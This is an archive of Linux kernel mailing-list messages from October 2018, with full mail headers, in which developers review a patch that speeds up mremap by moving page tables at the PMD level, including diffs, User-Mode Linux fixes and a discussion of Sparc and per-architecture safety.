X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4531 gmane.linux.ports.mips.general:67046 gmane.linux.ports.ia64:29382 gmane.linux.ports.sh.devel:57630 gmane.linux.kernel.mm:205154 gmane.linux.ports.sparc:28552 gmane.linux.ports.riscv:1050 gmane.linux.ports.hexagon:1905 gmane.comp.emulators.kvm.arm.devel:19428 gmane.linux.ports.alpha:5307 gmane.linux.ports.arm.kernel:679357 gmane.linux.ports.parisc:29157 gmane.linux.kernel:2897819 gmane.linux.ports.ppc64.devel:164153
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4531>

On Fri, Oct 12, 2018 at 05:42:24PM +0100, Anton Ivanov wrote:
> =

> On 10/12/18 3:48 PM, Anton Ivanov wrote:
> > On 12/10/2018 15:37, Kirill A. Shutemov wrote:
> > > On Fri, Oct 12, 2018 at 03:09:49PM +0100, Anton Ivanov wrote:
> > > > On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
> > > > > Android needs to mremap large regions of memory during
> > > > > memory management
> > > > > related operations. The mremap system call can be really
> > > > > slow if THP is
> > > > > not enabled. The bottleneck is move_page_tables, which is copying=
 each
> > > > > pte at a time, and can be really slow across a large map.
> > > > > Turning on THP
> > > > > may not be a viable option, and is not for us. This patch
> > > > > speeds up the
> > > > > performance for non-THP system by copying at the PMD level
> > > > > when possible.
> > > > > =

> > > > > The speed up is three orders of magnitude. On a 1GB mremap, the m=
remap
> > > > > completion times drops from 160-250 millesconds to 380-400
> > > > > microseconds.
> > > > > =

> > > > > Before:
> > > > > Total mremap time for 1GB data: 242321014 nanoseconds.
> > > > > Total mremap time for 1GB data: 196842467 nanoseconds.
> > > > > Total mremap time for 1GB data: 167051162 nanoseconds.
> > > > > =

> > > > > After:
> > > > > Total mremap time for 1GB data: 385781 nanoseconds.
> > > > > Total mremap time for 1GB data: 388959 nanoseconds.
> > > > > Total mremap time for 1GB data: 402813 nanoseconds.
> > > > > =

> > > > > Incase THP is enabled, the optimization is skipped. I also flush =
the
> > > > > tlb every time we do this optimization since I couldn't find a wa=
y to
> > > > > determine if the low-level PTEs are dirty. It is seen that the co=
st of
> > > > > doing so is not much compared the improvement, on both
> > > > > x86-64 and arm64.
> > > > > =

> > > > > Cc: minchan@kernel.org
> > > > > Cc: pantin@google.com
> > > > > Cc: hughd@google.com
> > > > > Cc: lokeshgidra@google.com
> > > > > Cc: dancol@google.com
> > > > > Cc: mhocko@kernel.org
> > > > > Cc: kirill@shutemov.name
> > > > > Cc: akpm@linux-foundation.org
> > > > > Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> > > > > ---
> > > > > =A0=A0 mm/mremap.c | 62
> > > > > +++++++++++++++++++++++++++++++++++++++++++++++++++++
> > > > > =A0=A0 1 file changed, 62 insertions(+)
> > > > > =

> > > > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > > > index 9e68a02a52b1..d82c485822ef 100644
> > > > > --- a/mm/mremap.c
> > > > > +++ b/mm/mremap.c
> > > > > @@ -191,6 +191,54 @@ static void move_ptes(struct
> > > > > vm_area_struct *vma, pmd_t *old_pmd,
> > > > > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 drop_rmap_locks(vma);
> > > > > =A0=A0 }
> > > > > +static bool move_normal_pmd(struct vm_area_struct *vma,
> > > > > unsigned long old_addr,
> > > > > +=A0=A0=A0=A0=A0=A0=A0=A0=A0 unsigned long new_addr, unsigned lon=
g old_end,
> > > > > +=A0=A0=A0=A0=A0=A0=A0=A0=A0 pmd_t *old_pmd, pmd_t *new_pmd, bool=
 *need_flush)
> > > > > +{
> > > > > +=A0=A0=A0 spinlock_t *old_ptl, *new_ptl;
> > > > > +=A0=A0=A0 struct mm_struct *mm =3D vma->vm_mm;
> > > > > +
> > > > > +=A0=A0=A0 if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > > > +=A0=A0=A0=A0=A0=A0=A0 || old_end - old_addr < PMD_SIZE)
> > > > > +=A0=A0=A0=A0=A0=A0=A0 return false;
> > > > > +
> > > > > +=A0=A0=A0 /*
> > > > > +=A0=A0=A0=A0 * The destination pmd shouldn't be established, fre=
e_pgtables()
> > > > > +=A0=A0=A0=A0 * should have release it.
> > > > > +=A0=A0=A0=A0 */
> > > > > +=A0=A0=A0 if (WARN_ON(!pmd_none(*new_pmd)))
> > > > > +=A0=A0=A0=A0=A0=A0=A0 return false;
> > > > > +
> > > > > +=A0=A0=A0 /*
> > > > > +=A0=A0=A0=A0 * We don't have to worry about the ordering of src =
and dst
> > > > > +=A0=A0=A0=A0 * ptlocks because exclusive mmap_sem prevents deadl=
ock.
> > > > > +=A0=A0=A0=A0 */
> > > > > +=A0=A0=A0 old_ptl =3D pmd_lock(vma->vm_mm, old_pmd);
> > > > > +=A0=A0=A0 if (old_ptl) {
> > > > > +=A0=A0=A0=A0=A0=A0=A0 pmd_t pmd;
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 new_ptl =3D pmd_lockptr(mm, new_pmd);
> > > > > +=A0=A0=A0=A0=A0=A0=A0 if (new_ptl !=3D old_ptl)
> > > > > +=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 spin_lock_nested(new_ptl, SING=
LE_DEPTH_NESTING);
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 /* Clear the pmd */
> > > > > +=A0=A0=A0=A0=A0=A0=A0 pmd =3D *old_pmd;
> > > > > +=A0=A0=A0=A0=A0=A0=A0 pmd_clear(old_pmd);
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 VM_BUG_ON(!pmd_none(*new_pmd));
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 /* Set the new pmd */
> > > > > +=A0=A0=A0=A0=A0=A0=A0 set_pmd_at(mm, new_addr, new_pmd, pmd);
> > > > UML does not have set_pmd_at at all
> > > Every architecture does. :)
> > =

> > I tried to build it patching vs 4.19-rc before I made this statement and
> > ran into that.
> > =

> > Presently it does not.
> > =

> > https://elixir.bootlin.com/linux/v4.19-rc7/ident/set_pmd_at - UML is not
> > on the list.
> =

> Once this problem as well as the omissions in the include changes for UML=
 in
> patch one have been fixed it appears to be working.
> =

> What it needs is attached.
> =

> =

> > =

> > > =

> > > But it may come not from the arch code.
> > =

> > There is no generic definition as far as I can see. All 12 defines in
> > 4.19 are in arch specific code. Unless i am missing something...
> > =

> > > =

> > > > If I read the code right, MIPS completely ignores the address
> > > > argument so
> > > > set_pmd_at there may not have the effect which this patch is trying=
 to
> > > > achieve.
> > > Ignoring address is fine. Most architectures do that..
> > > The ideas is to move page table to the new pmd slot. It's nothing to =
do
> > > with the address passed to set_pmd_at().
> > =

> > If that is it's only function, then I am going to appropriate the code
> > out of the MIPS tree for further uml testing. It does exactly that -
> > just move the pmd the new slot.
> > =

> > > =

> > A.
> =

> =

> A.
> =


> From ac265d96897a346b05646fce91784ed4922c7f8d Mon Sep 17 00:00:00 2001
> From: Anton Ivanov <anton.ivanov@cambridgegreys.com>
> Date: Fri, 12 Oct 2018 17:24:10 +0100
> Subject: [PATCH] Incremental fixes to the mmremap patch
> =

> Signed-off-by: Anton Ivanov <anton.ivanov@cambridgegreys.com>
> ---
>  arch/um/include/asm/pgalloc.h | 4 ++--
>  arch/um/include/asm/pgtable.h | 3 +++
>  arch/um/kernel/tlb.c          | 6 ++++++
>  3 files changed, 11 insertions(+), 2 deletions(-)
> =

> diff --git a/arch/um/include/asm/pgalloc.h b/arch/um/include/asm/pgalloc.h
> index bf90b2aa2002..99eb5682792a 100644
> --- a/arch/um/include/asm/pgalloc.h
> +++ b/arch/um/include/asm/pgalloc.h
> @@ -25,8 +25,8 @@
>  extern pgd_t *pgd_alloc(struct mm_struct *);
>  extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
>  =

> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
> -extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
> +extern pgtable_t pte_alloc_one(struct mm_struct *);

If its Ok, let me handle this bit since otherwise it complicates things for
me.

>  static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>  {
> diff --git a/arch/um/include/asm/pgtable.h b/arch/um/include/asm/pgtable.h
> index 7485398d0737..1692da55e63a 100644
> --- a/arch/um/include/asm/pgtable.h
> +++ b/arch/um/include/asm/pgtable.h
> @@ -359,4 +359,7 @@ do {						\
>  	__flush_tlb_one((vaddr));		\
>  } while (0)
>  =

> +extern void set_pmd_at(struct mm_struct *mm, unsigned long addr,
> +		pmd_t *pmdp, pmd_t pmd);
> +
>  #endif
> diff --git a/arch/um/kernel/tlb.c b/arch/um/kernel/tlb.c
> index 763d35bdda01..d17b74184ba0 100644
> --- a/arch/um/kernel/tlb.c
> +++ b/arch/um/kernel/tlb.c
> @@ -647,3 +647,9 @@ void force_flush_all(void)
>  		vma =3D vma->vm_next;
>  	}
>  }
> +void set_pmd_at(struct mm_struct *mm, unsigned long addr,
> +		pmd_t *pmdp, pmd_t pmd)
> +{
> +	*pmdp =3D pmd;
> +}
> +

I believe this should be included in a separate patch since it is not relat=
ed
specifically to pte_alloc argument removal. If you want, I could split it
into a separate patch for my series with you as author.

thanks,

- Joel

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 09:57:19 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <20181012165719.GE223066@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012131946.zoab2lpfmrycmuju@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539363340 7524 195.159.176.226 (12 Oct 2018 16:55:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:55:40 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 18:55:30 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB0io-0001jM-1B
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 18:55:30 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=iSLo6yn953RzmEcjKApVIHFLWIftCd2IlkuT4QhGmzA=; b=asSHGIPPspdg4z
	i4/55DK9qfrw4ZYTbgkdfHEOZhTCN69iF12cw268dFasq56K5anEy6oZV7n+0vOWkapuXyuVsR+WX
	maXkk0ilk7oK8ecb892tfhfBcStV7bMWoZ9KlyUaS1D/wc3860Z4/p7RCN2xFvX4xfRhuI3pGIOfJ
	HBvt3ErLhm+E/nkfM93FGO8kZ9FOHAw3joq/5Up096vaMlbSKb+/LDFu+0Iwn70pdGyThfbEZzFme
	zGoe4+FyzQ9sEpxY+6oZDV4szBOqHvjD1xdoGje5SOZ3h13vEw5wQhkKqXwvXCTbNAjsB+3qWhUxo
	+i4oZKSe/iHbW9hB8ilQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0ks-0007Et-2e; Fri, 12 Oct 2018 16:57:38 +0000
Original-Received: from mail-pg1-x542.google.com ([2607:f8b0:4864:20::542])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0km-00078v-OF
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 16:57:35 +0000
Original-Received: by mail-pg1-x542.google.com with SMTP id r9-v6so6115848pgv.6
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 09:57:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=uVlHzOjCJt1s37XP7P3Q38uoyVSxQUIUy8JlaGTffKg=;
 b=cXLWIF0psQEeOaff/zCLiIOyVLAunEJjwQpMHAjktpY4IMZnzm2ghp8KflvQg70gdF
 EQ3wGdn0DuWTTsMR3/qYn6+Mr2xvpeoMKUhr8DIN5b3h412YRn5qTL3lOpo0fcgGwZVL
 ycFj3Jxu7+NinK3bZZEUua7aW3602iGTxtcqw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=uVlHzOjCJt1s37XP7P3Q38uoyVSxQUIUy8JlaGTffKg=;
 b=cURHTgiU0pTeeQKJPuAWJlXBRQXNr0/Wf5dYqxG05jQ8BhOvbxsZTaYJwxEXGhdvR1
 qt3eUXNZdjCCRVUXM8KCiR9TcYWuLpTibZbo7kxxIE20D1nHrAfHhB/+iU+6nNetDiei
 CO1H0VeVm1pD6ZaG5zsASlBX9kXYQDOIypBNgmiPF/NLJaTMZapHOKsUQp+sUSqlbUHz
 Nb1ASCPoEuI5VNge+jwCBMAnWM0ub2r66kxCcfMm4DSLHfb0GcuO5dWCBUwHGvxlPNQO
 WeL8TO3hOzc41mv/hVUZwUZWCIgvx9uPAnvlJQ3Zt5fOLYyvmhfyt1DViwpIJvNIJI0Y
 OJtQ==
X-Gm-Message-State: ABuFfojoUUnD5CEoo9HulpkFYWEcAhGQj3ef28Pvfo2VOIKu4aYZvclO
 qFB6j52nLwMdFD5tDNvrJDbmAg==
X-Google-Smtp-Source: ACcGV634ziEY2cX+WhdmCRDXLZJG6Tx65ueAoLHfg4WZlKinFj+cgj+Q5gdHvY4hYdcks+klUX2ldQ==
X-Received: by 2002:a62:1c06:: with SMTP id c6-v6mr6962172pfc.41.1539363441324; 
 Fri, 12 Oct 2018 09:57:21 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id x20-v6sm3838560pfe.131.2018.10.12.09.57.19
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 09:57:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181012131946.zoab2lpfmrycmuju@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_095732_836623_404E9E37 
X-CRM114-Status: GOOD (  32.73  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:542 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1051 gmane.linux.ports.mips.general:67047 gmane.linux.ports.ia64:29383 gmane.linux.ports.sh.devel:57631 gmane.linux.kernel.mm:205157 gmane.linux.ports.sparc:28553 gmane.linux.ports.hexagon:1906 gmane.comp.emulators.kvm.arm.devel:19431 gmane.linux.kernel.arc:4532 gmane.linux.ports.arm.kernel:679360 gmane.linux.ports.parisc:29158 gmane.linux.kernel:2897824 gmane.linux.ports.alpha:5308 gmane.linux.ports.ppc64.devel:164154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1051>

On Fri, Oct 12, 2018 at 04:19:46PM +0300, Kirill A. Shutemov wrote:
> On Fri, Oct 12, 2018 at 05:50:46AM -0700, Joel Fernandes wrote:
> > On Fri, Oct 12, 2018 at 02:30:56PM +0300, Kirill A. Shutemov wrote:
> > > On Thu, Oct 11, 2018 at 06:37:56PM -0700, Joel Fernandes (Google) wrote:
> > > > Android needs to mremap large regions of memory during memory management
> > > > related operations. The mremap system call can be really slow if THP is
> > > > not enabled. The bottleneck is move_page_tables, which is copying each
> > > > pte at a time, and can be really slow across a large map. Turning on THP
> > > > may not be a viable option, and is not for us. This patch speeds up the
> > > > performance for non-THP system by copying at the PMD level when possible.
> > > > 
> > > > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > > > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > > > 
> > > > Before:
> > > > Total mremap time for 1GB data: 242321014 nanoseconds.
> > > > Total mremap time for 1GB data: 196842467 nanoseconds.
> > > > Total mremap time for 1GB data: 167051162 nanoseconds.
> > > > 
> > > > After:
> > > > Total mremap time for 1GB data: 385781 nanoseconds.
> > > > Total mremap time for 1GB data: 388959 nanoseconds.
> > > > Total mremap time for 1GB data: 402813 nanoseconds.
> > > > 
> > > > Incase THP is enabled, the optimization is skipped. I also flush the
> > > > tlb every time we do this optimization since I couldn't find a way to
> > > > determine if the low-level PTEs are dirty. It is seen that the cost of
> > > > doing so is not much compared the improvement, on both x86-64 and arm64.
> > > 
> > > I looked into the code more and noticed move_pte() helper called from
> > > move_ptes(). It changes PTE entry to suite new address.
> > > 
> > > It is only defined in non-trivial way on Sparc. I don't know much about
> > > Sparc and it's hard for me to say if the optimization will break anything
> > > there.
> > 
> > Sparc's move_pte seems to be flushing the D-cache to prevent aliasing. It is
> > not modifying the PTE itself AFAICS:
> > 
> > #ifdef DCACHE_ALIASING_POSSIBLE
> > #define __HAVE_ARCH_MOVE_PTE
> > #define move_pte(pte, prot, old_addr, new_addr)                         \
> > ({                                                                      \
> >         pte_t newpte = (pte);                                           \
> >         if (tlb_type != hypervisor && pte_present(pte)) {               \
> >                 unsigned long this_pfn = pte_pfn(pte);                  \
> >                                                                         \
> >                 if (pfn_valid(this_pfn) &&                              \
> >                     (((old_addr) ^ (new_addr)) & (1 << 13)))            \
> >                         flush_dcache_page_all(current->mm,              \
> >                                               pfn_to_page(this_pfn));   \
> >         }                                                               \
> >         newpte;                                                         \
> > })
> > #endif
> > 
> > If its an issue, then how do transparent huge pages work on Sparc?  I don't
> > see the huge page code (move_huge_pages) during mremap doing anything special
> > for Sparc architecture when moving PMDs..
> 
> My *guess* is that it will work fine on Sparc as it apprarently it only
> cares about change in bit 13 of virtual address. It will never happen for
> huge pages or when PTE page tables move.
> 
> But I just realized that the problem is bigger: since we pass new_addr to
> the set_pte_at() we would need to audit all implementations that they are
> safe with just moving PTE page table.
> 
> I would rather go with per-architecture enabling. It's much safer.

I'm Ok with the per-arch enabling, I agree its safer. So I should be adding a
a new __HAVE_ARCH_MOVE_PMD right, or did you have a better name for that?

Also, do you feel we should still need to remove the address argument from
set_pte_alloc? Or should we leave that alone if we do per-arch?
I figure I spent a bunch of time on that already anyway, and its a clean up
anyway, so may as well do it. But perhaps that "pte_alloc cleanup" can then
be a separate patch independent of this series?

> > Also, do we not flush the caches from any path when we munmap address space?
> > We do call do_munmap on the old mapping from mremap after moving to the new one.
> 
> Are you sure about that? It can be hided deeper in architecture-specific
> code.

I am sure we do call do_munmap, I was asking if we flush the caches as well.
If we're enabling this per architecture, then I guess it does not matter for
the purposes of this patch.

thanks,

 - Joel

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 17:58:40 +0100
Lines: 146
Approved: news@gmane.org
Message-ID: <4f969958-913e-cb9f-48fb-e3a88e1d288c@kot-begemot.co.uk>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
 <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
 <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
 <20181012165012.GD223066@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539363556 24174 195.159.176.226 (12 Oct 2018 16:59:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:59:16 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 18:59:07 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB0mG-000624-FQ
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 18:59:04 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=xlPoKsLo6EIljRzDm0ck5EQ0mCSlgdSiTLue36GLsDU=; b=kQhayjz4m1PYe6DP4x9jKMqnV
	KDQkDOencqBnIFEkRU1Yb0AN9+quF+t9a40Az3UezW3kDz9Sfs0iuytan0SgGqZCZFWm4V/vIKw2P
	mrU2yliML/9sbha2fMljbEwAOLmpBdVyb8NKSyetqPvXCU5XKI8CP0/r4gR7wGTr0aQw5P/jb9g5G
	Q7AFbsi+sM6x0M9HvLAC1DwcKhyl96coIf+PbylyRhNJ89tPPHRR5+BvgYGm3sH/4brmv8jOl55h5
	3aBoSELHKmdgfPEz2DcuqJzH5QmTCQ6DRJV+GPyWL1bDvnMvKkN+dTTRJeQn4q1nqjO8BeS8o++SI
	tD73QtxZQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0oG-0001Aj-Mj; Fri, 12 Oct 2018 17:01:08 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0nR-0008DI-Aa; Fri, 12 Oct 2018 17:00:34 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gB0lv-0003Z8-81; Fri, 12 Oct 2018 16:58:43 +0000
Original-Received: from amistad.kot-begemot.co.uk ([192.168.3.89])
 by smaug.kot-begemot.co.uk with esmtpsa
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
